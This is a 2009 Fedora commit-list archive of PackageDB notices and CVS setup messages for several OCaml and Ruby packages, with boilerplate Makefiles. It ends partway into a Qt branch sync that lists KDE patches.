


From pkgdb at fedoraproject.org  Sat Oct 10 22:16:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:16:29 +0000
Subject: [pkgdb] ocaml-react (Fedora, 12) updated by kevin
Message-ID: <20091010221629.E530E10F8B5@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for ocaml-react
kevin has set commit to Approved for 107427 on ocaml-react (Fedora 12)
kevin has set checkout to Approved for 107427 on ocaml-react (Fedora 12)
kevin has set build to Approved for 107427 on ocaml-react (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ocaml-react



From kevin at fedoraproject.org  Sat Oct 10 22:16:38 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:16:38 +0000 (UTC)
Subject: rpms/ocaml-react - New directory
Message-ID: <20091010221638.3583511C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/ocaml-react
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsu16123/rpms/ocaml-react

Log Message:
Directory /cvs/pkgs/rpms/ocaml-react added to the repository




From kevin at fedoraproject.org  Sat Oct 10 22:16:38 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:16:38 +0000 (UTC)
Subject: rpms/ocaml-react/devel - New directory
Message-ID: <20091010221638.6FFFD11C0267@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/ocaml-react/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsu16123/rpms/ocaml-react/devel

Log Message:
Directory /cvs/pkgs/rpms/ocaml-react/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 10 22:16:46 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:16:46 +0000 (UTC)
Subject: rpms/ocaml-react Makefile,NONE,1.1
Message-ID: <20091010221646.6FF0C11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/ocaml-react
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsu16123/rpms/ocaml-react

Added Files:
	Makefile 
Log Message:
Setup of module ocaml-react


--- NEW FILE Makefile ---
# Top level Makefile for module ocaml-react
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 10 22:16:46 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:16:46 +0000 (UTC)
Subject: rpms/ocaml-react/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091010221646.D95F911C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/ocaml-react/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsu16123/rpms/ocaml-react/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module ocaml-react


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: ocaml-react
# $Id: Makefile,v 1.1 2009/10/10 22:16:46 kevin Exp $
NAME := ocaml-react
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 10 22:17:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:17:12 +0000
Subject: [pkgdb] rubygem-mixlib-cli summary updated by kevin
Message-ID: <20091010221712.31CB610F8A1@bastion2.fedora.phx.redhat.com>

kevin set package rubygem-mixlib-cli summary to Simple ruby mixin for CLI interfaces

To make changes to this package see:
  /pkgdb/packages/name/rubygem-mixlib-cli



From pkgdb at fedoraproject.org  Sat Oct 10 22:17:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:17:10 +0000
Subject: [pkgdb] rubygem-mixlib-cli was added for mkent
Message-ID: <20091010221710.97DF410F88F@bastion2.fedora.phx.redhat.com>

kevin has added Package rubygem-mixlib-cli with summary Simple ruby mixin for CLI interfaces
kevin has approved Package rubygem-mixlib-cli
kevin has added a Fedora devel branch for rubygem-mixlib-cli with an owner of mkent
kevin has approved rubygem-mixlib-cli in Fedora devel
kevin has approved Package rubygem-mixlib-cli
kevin has set commit to Approved for 107427 on rubygem-mixlib-cli (Fedora devel)
kevin has set checkout to Approved for 107427 on rubygem-mixlib-cli (Fedora devel)
kevin has set build to Approved for 107427 on rubygem-mixlib-cli (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-mixlib-cli



From pkgdb at fedoraproject.org  Sat Oct 10 22:17:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:17:12 +0000
Subject: [pkgdb] rubygem-mixlib-cli (Fedora, 11) updated by kevin
Message-ID: <20091010221712.455A610F8A8@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for rubygem-mixlib-cli
kevin has set commit to Approved for 107427 on rubygem-mixlib-cli (Fedora 11)
kevin has set checkout to Approved for 107427 on rubygem-mixlib-cli (Fedora 11)
kevin has set build to Approved for 107427 on rubygem-mixlib-cli (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-mixlib-cli



From pkgdb at fedoraproject.org  Sat Oct 10 22:17:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:17:12 +0000
Subject: [pkgdb] rubygem-mixlib-cli (Fedora, 11) updated by kevin
Message-ID: <20091010221712.553FD10F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for rubygem-mixlib-cli
kevin has set commit to Approved for 107427 on rubygem-mixlib-cli (Fedora 12)
kevin has set checkout to Approved for 107427 on rubygem-mixlib-cli (Fedora 12)
kevin has set build to Approved for 107427 on rubygem-mixlib-cli (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-mixlib-cli



From kevin at fedoraproject.org  Sat Oct 10 22:17:19 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:17:19 +0000 (UTC)
Subject: rpms/rubygem-mixlib-cli - New directory
Message-ID: <20091010221719.1935111C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-mixlib-cli
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsF16503/rpms/rubygem-mixlib-cli

Log Message:
Directory /cvs/pkgs/rpms/rubygem-mixlib-cli added to the repository




From kevin at fedoraproject.org  Sat Oct 10 22:17:19 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:17:19 +0000 (UTC)
Subject: rpms/rubygem-mixlib-cli/devel - New directory
Message-ID: <20091010221719.3CA0811C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-mixlib-cli/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsF16503/rpms/rubygem-mixlib-cli/devel

Log Message:
Directory /cvs/pkgs/rpms/rubygem-mixlib-cli/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 10 22:17:26 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:17:26 +0000 (UTC)
Subject: rpms/rubygem-mixlib-cli Makefile,NONE,1.1
Message-ID: <20091010221726.1C8C511C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-mixlib-cli
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsF16503/rpms/rubygem-mixlib-cli

Added Files:
	Makefile 
Log Message:
Setup of module rubygem-mixlib-cli


--- NEW FILE Makefile ---
# Top level Makefile for module rubygem-mixlib-cli
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 10 22:17:26 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:17:26 +0000 (UTC)
Subject: rpms/rubygem-mixlib-cli/devel .cvsignore, NONE, 1.1 Makefile, NONE, 
	1.1 sources, NONE, 1.1
Message-ID: <20091010221726.593B111C0267@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-mixlib-cli/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsF16503/rpms/rubygem-mixlib-cli/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module rubygem-mixlib-cli


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: rubygem-mixlib-cli
# $Id: Makefile,v 1.1 2009/10/10 22:17:26 kevin Exp $
NAME := rubygem-mixlib-cli
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 10 22:17:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:17:55 +0000
Subject: [pkgdb] rubygem-mixlib-config was added for mkent
Message-ID: <20091010221756.1BC8910F84D@bastion2.fedora.phx.redhat.com>

kevin has added Package rubygem-mixlib-config with summary Simple ruby config mixin
kevin has approved Package rubygem-mixlib-config
kevin has added a Fedora devel branch for rubygem-mixlib-config with an owner of mkent
kevin has approved rubygem-mixlib-config in Fedora devel
kevin has approved Package rubygem-mixlib-config
kevin has set commit to Approved for 107427 on rubygem-mixlib-config (Fedora devel)
kevin has set checkout to Approved for 107427 on rubygem-mixlib-config (Fedora devel)
kevin has set build to Approved for 107427 on rubygem-mixlib-config (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-mixlib-config



From pkgdb at fedoraproject.org  Sat Oct 10 22:17:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:17:57 +0000
Subject: [pkgdb] rubygem-mixlib-config summary updated by kevin
Message-ID: <20091010221757.32AF210F895@bastion2.fedora.phx.redhat.com>

kevin set package rubygem-mixlib-config summary to Simple ruby config mixin

To make changes to this package see:
  /pkgdb/packages/name/rubygem-mixlib-config



From pkgdb at fedoraproject.org  Sat Oct 10 22:17:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:17:57 +0000
Subject: [pkgdb] rubygem-mixlib-config (Fedora, 11) updated by kevin
Message-ID: <20091010221757.800E910F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for rubygem-mixlib-config
kevin has set commit to Approved for 107427 on rubygem-mixlib-config (Fedora 11)
kevin has set checkout to Approved for 107427 on rubygem-mixlib-config (Fedora 11)
kevin has set build to Approved for 107427 on rubygem-mixlib-config (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-mixlib-config



From pkgdb at fedoraproject.org  Sat Oct 10 22:17:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:17:57 +0000
Subject: [pkgdb] rubygem-mixlib-config (Fedora, 11) updated by kevin
Message-ID: <20091010221757.B49AE10F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for rubygem-mixlib-config
kevin has set commit to Approved for 107427 on rubygem-mixlib-config (Fedora 12)
kevin has set checkout to Approved for 107427 on rubygem-mixlib-config (Fedora 12)
kevin has set build to Approved for 107427 on rubygem-mixlib-config (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-mixlib-config



From kevin at fedoraproject.org  Sat Oct 10 22:18:04 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:18:04 +0000 (UTC)
Subject: rpms/rubygem-mixlib-config - New directory
Message-ID: <20091010221804.1530111C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-mixlib-config
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsP16706/rpms/rubygem-mixlib-config

Log Message:
Directory /cvs/pkgs/rpms/rubygem-mixlib-config added to the repository




From kevin at fedoraproject.org  Sat Oct 10 22:18:04 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:18:04 +0000 (UTC)
Subject: rpms/rubygem-mixlib-config/devel - New directory
Message-ID: <20091010221804.370A911C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-mixlib-config/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsP16706/rpms/rubygem-mixlib-config/devel

Log Message:
Directory /cvs/pkgs/rpms/rubygem-mixlib-config/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 10 22:18:12 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:18:12 +0000 (UTC)
Subject: rpms/rubygem-mixlib-config Makefile,NONE,1.1
Message-ID: <20091010221812.0938011C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-mixlib-config
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsP16706/rpms/rubygem-mixlib-config

Added Files:
	Makefile 
Log Message:
Setup of module rubygem-mixlib-config


--- NEW FILE Makefile ---
# Top level Makefile for module rubygem-mixlib-config
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 10 22:18:12 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:18:12 +0000 (UTC)
Subject: rpms/rubygem-mixlib-config/devel .cvsignore, NONE, 1.1 Makefile,
	NONE, 1.1 sources, NONE, 1.1
Message-ID: <20091010221812.55C0711C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-mixlib-config/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsP16706/rpms/rubygem-mixlib-config/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module rubygem-mixlib-config


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: rubygem-mixlib-config
# $Id: Makefile,v 1.1 2009/10/10 22:18:12 kevin Exp $
NAME := rubygem-mixlib-config
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 10 22:18:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:18:30 +0000
Subject: [pkgdb] rubygem-mixlib-log summary updated by kevin
Message-ID: <20091010221831.24DB810F895@bastion2.fedora.phx.redhat.com>

kevin set package rubygem-mixlib-log summary to Ruby mixin for log functionality

To make changes to this package see:
  /pkgdb/packages/name/rubygem-mixlib-log



From pkgdb at fedoraproject.org  Sat Oct 10 22:18:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:18:29 +0000
Subject: [pkgdb] rubygem-mixlib-log was added for mkent
Message-ID: <20091010221829.4E1F310F880@bastion2.fedora.phx.redhat.com>

kevin has added Package rubygem-mixlib-log with summary Ruby mixin for log functionality
kevin has approved Package rubygem-mixlib-log
kevin has added a Fedora devel branch for rubygem-mixlib-log with an owner of mkent
kevin has approved rubygem-mixlib-log in Fedora devel
kevin has approved Package rubygem-mixlib-log
kevin has set commit to Approved for 107427 on rubygem-mixlib-log (Fedora devel)
kevin has set checkout to Approved for 107427 on rubygem-mixlib-log (Fedora devel)
kevin has set build to Approved for 107427 on rubygem-mixlib-log (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-mixlib-log



From pkgdb at fedoraproject.org  Sat Oct 10 22:18:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:18:30 +0000
Subject: [pkgdb] rubygem-mixlib-log (Fedora, 11) updated by kevin
Message-ID: <20091010221831.69E1C10F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for rubygem-mixlib-log
kevin has set commit to Approved for 107427 on rubygem-mixlib-log (Fedora 11)
kevin has set checkout to Approved for 107427 on rubygem-mixlib-log (Fedora 11)
kevin has set build to Approved for 107427 on rubygem-mixlib-log (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-mixlib-log



From pkgdb at fedoraproject.org  Sat Oct 10 22:18:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:18:30 +0000
Subject: [pkgdb] rubygem-mixlib-log (Fedora, 11) updated by kevin
Message-ID: <20091010221831.A4C6F10F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for rubygem-mixlib-log
kevin has set commit to Approved for 107427 on rubygem-mixlib-log (Fedora 12)
kevin has set checkout to Approved for 107427 on rubygem-mixlib-log (Fedora 12)
kevin has set build to Approved for 107427 on rubygem-mixlib-log (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-mixlib-log



From kevin at fedoraproject.org  Sat Oct 10 22:18:38 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:18:38 +0000 (UTC)
Subject: rpms/rubygem-mixlib-log - New directory
Message-ID: <20091010221838.1B51F11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-mixlib-log
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsA16904/rpms/rubygem-mixlib-log

Log Message:
Directory /cvs/pkgs/rpms/rubygem-mixlib-log added to the repository




From kevin at fedoraproject.org  Sat Oct 10 22:18:38 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:18:38 +0000 (UTC)
Subject: rpms/rubygem-mixlib-log/devel - New directory
Message-ID: <20091010221838.420C211C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-mixlib-log/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsA16904/rpms/rubygem-mixlib-log/devel

Log Message:
Directory /cvs/pkgs/rpms/rubygem-mixlib-log/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 10 22:18:45 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:18:45 +0000 (UTC)
Subject: rpms/rubygem-mixlib-log Makefile,NONE,1.1
Message-ID: <20091010221845.56D0F11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-mixlib-log
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsA16904/rpms/rubygem-mixlib-log

Added Files:
	Makefile 
Log Message:
Setup of module rubygem-mixlib-log


--- NEW FILE Makefile ---
# Top level Makefile for module rubygem-mixlib-log
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 10 22:18:45 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:18:45 +0000 (UTC)
Subject: rpms/rubygem-mixlib-log/devel .cvsignore, NONE, 1.1 Makefile, NONE, 
	1.1 sources, NONE, 1.1
Message-ID: <20091010221845.A208D11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-mixlib-log/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsA16904/rpms/rubygem-mixlib-log/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module rubygem-mixlib-log


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: rubygem-mixlib-log
# $Id: Makefile,v 1.1 2009/10/10 22:18:45 kevin Exp $
NAME := rubygem-mixlib-log
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From rdieter at fedoraproject.org  Sat Oct 10 22:30:28 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 10 Oct 2009 22:30:28 +0000 (UTC)
Subject: rpms/qt/F-10
	0001-This-patch-uses-object-name-as-a-fallback-for-window.patch, NONE,
	1.1 0002-This-patch-makes-override-redirect-windows-popup-me.patch,
	NONE,
	1.1 0003-This-patch-changes-QObjectPrivateVersion-thus-preve.patch,
	NONE,
	1.1 0004-This-patch-adds-support-for-using-isystem-to-allow.patch,
	NONE, 1.1 0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch, 
	NONE,
	1.1 0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch, 
	NONE,
	1.1 0007-When-using-qmake-outside-qt-src-tree-it-sometimes-g.patch,
	NONE, 1.1 0008-In-a-treeview-with-columns-like-this.patch, NONE,
	1.1 0009-This-patch-fixes-deserialization-of-values-with-cust.patch, 
	NONE, 1.1 0010-Import-README.qt-copy-from-the-original-qt-copy.patch, 
	NONE,
	1.1 0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch,
	NONE, 1.1 0015-Make-QMenu-respect-the-minimum-width-set.patch, NONE, 
	1.1 0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch,
	NONE, 1.1 0017-Add-context-to-tr-calls-in-QShortcut.patch, NONE,
	1.1 0118-qtcopy-define.diff, NONE,
	1.1 0274-shm-native-image-fix.patch, NONE,
	1.1 0283-do-not-deduce-scrollbar-extent-twice.diff, NONE,
	1.1 0285-qgv-dontshowchildren.diff, NONE, 1.1 kde-qt-patches.sh,
	NONE, 1.1 qt-x11-opensource-src-4.5.0-qdoc3.patch, 1.2,
	1.3 qt-x11-opensource-src-4.5.1-phonon.patch, NONE,
	1.1 qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch, NONE,
	1.1 qt-x11-opensource-src-4.5.2-pulseaudio.patch, NONE,
	1.1 qt-x11-opensource-src-4.5.3-javascript-disable-jit.patch, NONE,
	1.1 qt-x11-opensource-src-4.5.3-system_ca_certificates.patch,
	NONE, 1.1 .cvsignore, 1.49, 1.50 linguist.desktop, 1.3,
	1.4 qt.spec, 1.236, 1.237 sources, 1.53,
	1.54 0288-more-x-keycodes.patch, 1.1,
	NONE 287-qmenu-respect-minwidth.patch, 1.1,
	NONE qt-copy-20090626-qt452.patch, 1.1,
	NONE qt-copy-patches-svn_checkout.sh, 1.4,
	NONE qt-x11-opensource-src-4.5.2-CVE-2009-1725.patch, 1.1,
	NONE qt-x11-opensource-src-4.5.2-CVE-2009-2700.patch, 1.1,
	NONE qt-x11-opensource-src-4.5.2-qdoc3.patch, 1.1,
	NONE qt-x11-opensource-src-4.5.2-timestamp.patch, 1.1, NONE
Message-ID: <20091010223028.74C1311C0267@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20922

Modified Files:
	.cvsignore linguist.desktop qt.spec sources 
Added Files:
	0001-This-patch-uses-object-name-as-a-fallback-for-window.patch 
	0002-This-patch-makes-override-redirect-windows-popup-me.patch 
	0003-This-patch-changes-QObjectPrivateVersion-thus-preve.patch 
	0004-This-patch-adds-support-for-using-isystem-to-allow.patch 
	0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch 
	0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch 
	0007-When-using-qmake-outside-qt-src-tree-it-sometimes-g.patch 
	0008-In-a-treeview-with-columns-like-this.patch 
	0009-This-patch-fixes-deserialization-of-values-with-cust.patch 
	0010-Import-README.qt-copy-from-the-original-qt-copy.patch 
	0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch 
	0015-Make-QMenu-respect-the-minimum-width-set.patch 
	0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch 
	0017-Add-context-to-tr-calls-in-QShortcut.patch 
	0118-qtcopy-define.diff 0274-shm-native-image-fix.patch 
	0283-do-not-deduce-scrollbar-extent-twice.diff 
	0285-qgv-dontshowchildren.diff kde-qt-patches.sh 
	qt-x11-opensource-src-4.5.0-qdoc3.patch 
	qt-x11-opensource-src-4.5.1-phonon.patch 
	qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch 
	qt-x11-opensource-src-4.5.2-pulseaudio.patch 
	qt-x11-opensource-src-4.5.3-javascript-disable-jit.patch 
	qt-x11-opensource-src-4.5.3-system_ca_certificates.patch 
Removed Files:
	0288-more-x-keycodes.patch 287-qmenu-respect-minwidth.patch 
	qt-copy-20090626-qt452.patch qt-copy-patches-svn_checkout.sh 
	qt-x11-opensource-src-4.5.2-CVE-2009-1725.patch 
	qt-x11-opensource-src-4.5.2-CVE-2009-2700.patch 
	qt-x11-opensource-src-4.5.2-qdoc3.patch 
	qt-x11-opensource-src-4.5.2-timestamp.patch 
Log Message:
sycn w/devel (4.5.3 goodness)


0001-This-patch-uses-object-name-as-a-fallback-for-window.patch:
 corelib/kernel/qobject.cpp |    8 ++++++++
 corelib/kernel/qobject_p.h |    3 +++
 gui/kernel/qwidget_p.h     |    1 +
 gui/kernel/qwidget_x11.cpp |   28 +++++++++++++++++++++-------
 4 files changed, 33 insertions(+), 7 deletions(-)

--- NEW FILE 0001-This-patch-uses-object-name-as-a-fallback-for-window.patch ---
>From b48e2091871516496cf0b133249fbf5326a55831 Mon Sep 17 00:00:00 2001
From: Lubos Lunak <l.lunak at kde.org>
Date: Sat, 23 Feb 2008 16:44:52 +0100
Subject: [PATCH 01/18] This patch uses object name as a fallback for window role if no window
 role is set explicitly using setWindowRole(). Since Qt3 always used
 the object name as the window role and most Qt3/KDE3 code is ported to
 call setObjectName(),

this makes the window role set in many cases (which KWin uses for window identifying).

NOTE: It is suggested to apply patch #0209 as well when this patch is used.

qt-bugs@ issue : 167704
Trolltech task ID : 168283 (status: "fixed" for Qt 4.4.0, but effectively refused)
---
 src/corelib/kernel/qobject.cpp |    8 ++++++++
 src/corelib/kernel/qobject_p.h |    3 +++
